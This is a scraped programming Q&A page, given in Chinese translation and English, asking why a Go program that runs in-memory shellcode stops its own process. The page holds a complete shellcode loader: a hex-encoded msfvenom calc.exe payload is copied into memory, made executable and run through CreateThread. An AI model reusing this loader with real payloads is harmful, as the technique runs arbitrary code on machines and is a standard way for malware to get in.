为什么使用Win32API函数启动的进程/线程似乎会劫持并终止父进程?

huangapple go评论67阅读模式
英文:

Go: Why do processes/Threads started using Win32API funcs seem to hijack and kill the parent proccess?

问题

现在,以下代码做了它应该做的事情,将calc.exe加载到内存并执行,它执行得很好。

我将这段代码拼接在一起,以展示CreateThread()在弹出calc.exe之前终止了我的程序执行流程,仅在CreateThread.Call()之后执行其他指令。

我相信这不是内存分配的问题,因为如果我将CreateThread()包装在一个goroutine中(go runThread()),它会在弹出calc.exe之前执行几个循环周期。

package main

import (
	"fmt"
	"encoding/hex"
	"golang.org/x/sys/windows"
	"log"
	"unsafe"
)

func main() {
	RunCreateThread()
	for {
		fmt.Println("Running infinitely")
	}
}

func RunCreateThread() {
	//calc.exe HEX
	shellcode, _ := hex.DecodeString("fc4883e4f0e8c0000000415141505251564831d265488b5260488b5218488b5220488b7250480fb74a4a4d31c94831c0ac3c617c022c2041c1c90d4101c1e2ed524151488b52208b423c4801d08b80880000004885c074674801d0508b4818448b40204901d0e35648ffc9418b34884801d64d31c94831c0ac41c1c90d4101c138e075f14c034c24084539d175d858448b40244901d066418b0c48448b401c4901d0418b04884801d0415841585e595a41584159415a4883ec204152ffe05841595a488b12e957ffffff5d48ba0100000000000000488d8d0101000041ba318b6f87ffd5bbf0b5a25641baa695bd9dffd54883c4283c067c0a80fbe07505bb4713726f6a00594189daffd563616c632e65786500")

	addr, errVirtualAlloc := windows.VirtualAlloc(uintptr(0), uintptr(len(shellcode)), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)
	if errVirtualAlloc != nil {
		log.Fatal(fmt.Sprintf("[!]Error calling VirtualAlloc:\r\n%s", errVirtualAlloc.Error()))
	}

	ntdll := windows.NewLazySystemDLL("ntdll.dll")
	RtlCopyMemory := ntdll.NewProc("RtlCopyMemory")

	_, _, errRtlCopyMemory := RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
	if errRtlCopyMemory != nil && errRtlCopyMemory.Error() != "The operation completed successfully." {
		log.Fatal(fmt.Sprintf("[!]Error calling RtlCopyMemory:\r\n%s", errRtlCopyMemory.Error()))
	}

	var oldProtect uint32
	errVirtualProtect := windows.VirtualProtect(addr, uintptr(len(shellcode)), windows.PAGE_EXECUTE_READ, &oldProtect)
	if errVirtualProtect != nil {
		log.Fatal(fmt.Sprintf("[!]Error calling VirtualProtect:\r\n%s", errVirtualProtect.Error()))
	}

	kernel32 := windows.NewLazySystemDLL("kernel32.dll")
	CreateThread := kernel32.NewProc("CreateThread")

	thread, _, errCreateThread := CreateThread.Call(0, 0, addr, uintptr(0), 0, 0)
	if errCreateThread != nil && errCreateThread.Error() != "The operation completed successfully." {
		log.Fatal(fmt.Sprintf("[!]Error calling CreateThread:\r\n%s", errCreateThread.Error()))
	}

	_, _ = windows.WaitForSingleObject(windows.Handle(thread), 0xFFFFFFFF)
}

我对为什么会发生这种情况感到好奇。

英文:

Now, the following code does what it's supposed to do, load calc.exe to memory and execute it, it does that fine.

I've stitched together this code to show CreateThread() Killing my program's execution flow right before popping calc.exe, Simply after CreateThread.Call(), No other instructions are executed after it

And i believe this isn't a memory allocation issue, because if i wrap CreateThread() in a goroutine (go runThread() ) It executes a few loop cycles before popping calc.exe

package main
import (
"fmt"
"encoding/hex"
"golang.org/x/sys/windows"
"log"
"unsafe"
)
func main(){
RunCreateThread()
for {
fmt.Println("Running infinitely")
}
}
func RunCreateThread() {
//calc.exe HEX
shellcode, _ :=hex.DecodeString("fc4883e4f0e8c0000000415141505251564831d265488b5260488b5218488b5220488b7250480fb74a4a4d31c94831c0ac3c617c022c2041c1c90d4101c1e2ed524151488b52208b423c4801d08b80880000004885c074674801d0508b4818448b40204901d0e35648ffc9418b34884801d64d31c94831c0ac41c1c90d4101c138e075f14c034c24084539d175d858448b40244901d066418b0c48448b401c4901d0418b04884801d0415841585e595a41584159415a4883ec204152ffe05841595a488b12e957ffffff5d48ba0100000000000000488d8d0101000041ba318b6f87ffd5bbf0b5a25641baa695bd9dffd54883c4283c067c0a80fbe07505bb4713726f6a00594189daffd563616c632e65786500")
addr, errVirtualAlloc := windows.VirtualAlloc(uintptr(0), uintptr(len(shellcode)), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)
if errVirtualAlloc != nil {11
log.Fatal(fmt.Sprintf("[!]Error calling VirtualAlloc:\r\n%s", errVirtualAlloc.Error()))
}
ntdll := windows.NewLazySystemDLL("ntdll.dll")
RtlCopyMemory := ntdll.NewProc("RtlCopyMemory")
_, _, errRtlCopyMemory := RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
if errRtlCopyMemory != nil && errRtlCopyMemory.Error() != "The operation completed successfully." {
log.Fatal(fmt.Sprintf("[!]Error calling RtlCopyMemory:\r\n%s", errRtlCopyMemory.Error()))
}
var oldProtect uint32
errVirtualProtect := windows.VirtualProtect(addr, uintptr(len(shellcode)), windows.PAGE_EXECUTE_READ, &oldProtect)
if errVirtualProtect != nil {
log.Fatal(fmt.Sprintf("[!]Error calling VirtualProtect:\r\n%s", errVirtualProtect.Error()))
}
kernel32 := windows.NewLazySystemDLL("kernel32.dll")
CreateThread := kernel32.NewProc("CreateThread")
thread, _, errCreateThread := CreateThread.Call(0, 0, addr, uintptr(0), 0, 0)
if errCreateThread != nil && errCreateThread.Error() != "The operation completed successfully." {
log.Fatal(fmt.Sprintf("[!]Error calling CreateThread:\r\n%s", errCreateThread.Error()))
}
_, _ = windows.WaitForSingleObject(windows.Handle(thread), 0xFFFFFFFF)
}

I'm curious to why this happens?

答案1

得分: 0

原来如此,确实是一个shellcode问题。代码调用Fine,我不知道msfvenom的有效载荷有时会以奇怪的方式干扰它们的主机调用者。

英文:

As it turns out, it was indeed a shellcode issue, The code calls Fine, I didn't know that msfvenom payloads often mess with their host callers in weird ways sometimes.

huangapple
  • 本文由 发表于 2022年4月20日 19:37:09
  • 转载请务必保留本文链接:https://go.coder-hub.com/71938958.html
匿名

发表评论

匿名网友

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen:

确定